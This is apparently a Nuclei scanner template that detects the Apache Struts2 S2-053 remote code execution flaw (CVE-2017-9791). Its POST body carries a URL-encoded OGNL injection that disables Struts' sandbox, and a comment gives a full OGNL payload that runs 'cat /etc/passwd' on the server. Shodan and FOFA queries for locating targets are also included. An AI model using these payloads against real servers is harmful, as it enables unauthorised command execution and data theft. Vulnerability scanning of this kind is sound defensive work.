57 lines
3.1 KiB
YAML
57 lines
3.1 KiB
YAML
id: CVE-2017-9791
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info:
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name: Apache Struts2 S2-053 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: |
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Apache Struts 2.1.x and 2.3.x with the Struts 1 plugin might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
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reference:
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- http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
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- http://struts.apache.org/docs/s2-048.html
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- http://web.archive.org/web/20211207175819/https://securitytracker.com/id/1038838
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2017-9791
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cwe-id: CWE-20
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cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
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epss-score: 0.9753
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metadata:
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max-request: 1
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verified: true
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shodan-query: title:"Struts2 Showcase"
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fofa-query: title="Struts2 Showcase"
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tags: cve,cve2017,apache,rce,struts,kev
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variables:
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num1: "{{rand_int(40000, 44800)}}"
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num2: "{{rand_int(40000, 44800)}}"
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result: "{{to_number(num1)*to_number(num2)}}"
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# CMD: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())).(#q)}
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http:
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- method: POST
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path:
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- "{{BaseURL}}/integration/saveGangster.action"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: |
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name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%28{{num1}}%2a{{num2}}%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "{{result}}"
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- "added successfully"
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condition: and
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/05/11
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